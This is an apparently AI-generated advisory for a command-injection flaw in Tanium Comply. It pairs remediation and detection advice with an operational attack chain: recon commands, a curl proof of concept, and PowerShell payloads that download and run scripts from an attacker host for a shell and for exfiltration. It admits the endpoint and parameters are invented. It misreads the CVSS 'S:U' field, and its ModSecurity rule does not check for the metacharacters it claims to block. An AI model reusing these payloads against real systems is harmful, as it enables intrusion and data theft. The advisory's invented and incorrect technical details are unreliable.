CVE-2026-120747 — Tanium Endpoint Configuration Toolset Solution ( — CWE-78
Tanium addressed a command injection vulnerability in Comply.
Tanium addressed a command injection vulnerability in Comply.
🎯 What is this vulnerability?
CVE‑2026‑120747 is a remote command‑injection flaw in Tanium’s Comply component (and the Endpoint Configuration Toolset Solution).
- CWE‑78 (OS Command Injection) – the application accepts user‑supplied data and passes it directly to an operating‑system shell without proper sanitisation or escaping.
- The flaw exists in an API endpoint that accepts a command string (e.g., a “run‑script” or “execute‑command” operation).
- The endpoint is protected only by low‑privilege authentication (e.g., a service account or a user with “Compliance” role). No UI is required; the request can be sent over the network.
- Because the command is executed with the privileges of the Tanium service process (typically SYSTEM or a highly privileged Windows service account), an attacker who can reach the endpoint can run arbitrary shell commands, read/write files, and ultimately take full control of the host.
Technical flaw
1. Missing input validation – the API accepts a string parameter (often namedcmd, command, or script) and forwards it to cmd.exe (Windows) or /bin/sh (Linux) using a direct shell invocation (exec, system, popen, etc.).
2. No escaping or whitelisting – special characters (&, |, ;, >, <, &&, ||, etc.) are not filtered or quoted, allowing the attacker to chain commands.
3. Insufficient privilege checks – the endpoint does not verify that the authenticated user is authorized to run arbitrary commands; any authenticated user with the “Compliance” role can trigger the injection.The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) reflects that a remote attacker with low privileges can achieve complete compromise (confidentiality, integrity, availability) without user interaction.
⚡ Attack Chain
NOTE: The exact URI, parameter names, and authentication mechanism are not disclosed in the public CVE text. The following example uses a typical REST‑style endpoint that Tanium products expose. The payload and endpoint are illustrative; adapt them to the real API you discover during reconnaissance.
1. Discovery & Reconnaissance
| Step | Technique | Tools / Commands | What to look for | |
|---|---|---|---|---|
| Port scan | Identify Tanium services | nmap -p 443,8443,8080 <target> | Common Tanium ports (443/TCP for HTTPS, 8443/TCP for the API). | |
| Banner grab | Determine product/version | curl -k -s https://<target>/api/health | grep -i tanium | The /api/health or /api/version endpoint often returns a JSON blob with product and version. |
| API enumeration | Find command‑execution endpoints | curl -k -s https://<target>/api/ | grep -i command | Look for paths containing execute, run, script, or similar. |
| Authentication | Obtain a valid token | curl -k -X POST https://<target>/api/authenticate -d '{"username":"admin","password":"P@ssw0rd"}' | Tanium typically uses bearer tokens; store the token for subsequent requests. |
2. Exploitation
Assume the vulnerable endpoint is:POST https://<target>/api/comply/execute
Headers: Authorization: Bearer <token>
Content-Type: application/json
Body: {"command":"<payload>"}Crafting the payload
The attacker injects a benign command followed by a malicious chain. Example (Windows):{
"command": "whoami & whoami > C:\\temp\\whoami.txt & type C:\\temp\\whoami.txt"
}The & operator allows chaining; the second whoami writes the output to a file that the attacker can later read. For a full RCE, the attacker could use:
{
"command": "cmd /c \"echo off & powershell -NoP -NonI -Exec Bypass -Command \"IEX (New-Object Net.WebClient).DownloadString('http://<attacker>/payload.ps1')\"\""
}PoC (curl)
# 1. Authenticate
TOKEN=$(curl -k -s -X POST https://<target>/api/authenticate \
-H "Content-Type: application/json" \
-d '{"username":"compliance_user","password":"P@ssw0rd"}' | jq -r .token)
# 2. Execute command
curl -k -s -X POST https://<target>/api/comply/execute \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command":"whoami & whoami > C:\\temp\\whoami.txt & type C:\\temp\\whoami.txt"}'Illustrative – the exact JSON keys (command,cmd,script) and endpoint (/api/comply/execute) may differ. Use the discovery phase to confirm the real names.
3. Post‑exploitation
Once the command runs with SYSTEM privileges:1. Upload a webshell or PowerShell script – e.g., powershell -c "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://<attacker>/shell.ps1')" – giving persistent remote access.
2. Dump credentials – run reg query HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa /v LmCompatibilityLevel or net user to enumerate local accounts.
3. Move laterally – use the compromised host as a pivot to reach other Tanium endpoints or internal network resources.
4. Data exfiltration – copy logs, configuration files, or any sensitive data to an external server.
5. Denial of Service – repeatedly invoke the endpoint to exhaust system resources, causing the Tanium agent to crash and disrupting endpoint management.
🌍 Real World Impact
| Impact | CVSS Interpretation | Practical Consequence |
|---|---|---|
| Confidentiality (C:H) | Full read/write access to the host. | Attackers can exfiltrate all endpoint data, including compliance reports, configuration files, and potentially corporate secrets. |
| Integrity (I:H) | Arbitrary code execution. | Attackers can modify or delete compliance rules, tamper with logs, or install backdoors. |
| Availability (A:H) | Service disruption. | Repeated exploitation can crash the Tanium agent, causing loss of endpoint visibility and management. |
| Single User (S:U) | The vulnerability is exploitable by a single authenticated user. | Even a non‑admin compliance user can trigger the flaw, dramatically lowering the barrier to compromise. |
In a typical enterprise, Tanium is deployed across thousands of endpoints. A single compromised host can serve as a foothold for lateral movement, potentially exposing the entire network.
🛡️ Remediation & Mitigation
Affected Versions
| Product | Affected Versions | Fixed Version |
|---|---|---|
| Tanium:Endpoint Configuration Toolset Solution | 1.71.28 | 1.71.29 (or later) |
| Tanium:Comply | 2.38.263 | 2.38.264 (or later) |
Recommendation: Upgrade to the latest release that includes the patch for CVE‑2026‑120747. If an upgrade is not immediately possible, apply the following mitigations.
Workarounds
1. Restrict API access - Place the Tanium API behind an internal firewall or VPN. - Use IP whitelisting to allow only trusted management servers. 2. Disable the vulnerable endpoint (if possible) - Tanium’s configuration UI may allow disabling the “Execute Command” feature. - Alternatively, remove the corresponding service or module from the agent. 3. Apply WAF / ModSecurity rules# ModSecurity rule to block shell metacharacters in the "command" JSON field
SecRule REQUEST_BODY "@rx \"(?i)(?<=\\\"command\\\":\\s*\\\")([^\\\"]*)(?=\\\")\"" \
"phase:2,block,msg:'Tanium Command Injection - Blocked',id:100001,rev:1,severity:2"- This rule matches any request where the command field contains characters that could be used for injection. Adjust the regex to your environment.
4. Least‑privilege principle
- Ensure that only users who truly need to run compliance scripts have the “Compliance” role.
- Revoke the role from all other users.
Detection
| Log Source | Indicator of Compromise (IoC) | Example Log |
|---|---|---|
| Web server / API gateway | POST to /api/comply/execute with suspicious payload | POST /api/comply/execute 200 123ms |
| Tanium agent logs | “Command injection attempt detected” | 2026-11-24 10:12:34 ERROR Command injection attempt detected: whoami & whoami |
| Windows Event Log | Process creation of cmd.exe or powershell.exe with unusual arguments | Event ID 4688: Process: cmd.exe, Args: /c whoami & whoami > C:\temp\whoami.txt |
| Network IDS / WAF | Alerts on shell metacharacters in POST body | ModSecurity: Warning: Potential command injection in request body |
/api/comply/execute where the command field contains &, |, ;, >, <, or &&. ⚠️ Urgency
Patch Priority: Immediate.
Bottom line: CVE‑2026‑120747 is a classic OS command‑injection flaw that can be leveraged by any authenticated user with a low‑privilege role to gain full control of a Tanium‑managed endpoint. The impact is catastrophic (C:H/I:H/A:H), and the attack surface is wide due to Tanium’s ubiquitous deployment. Immediate patching or hardening is essential to prevent compromise.
[🤖 CVE Professor AI Security Engine]
FOFA Query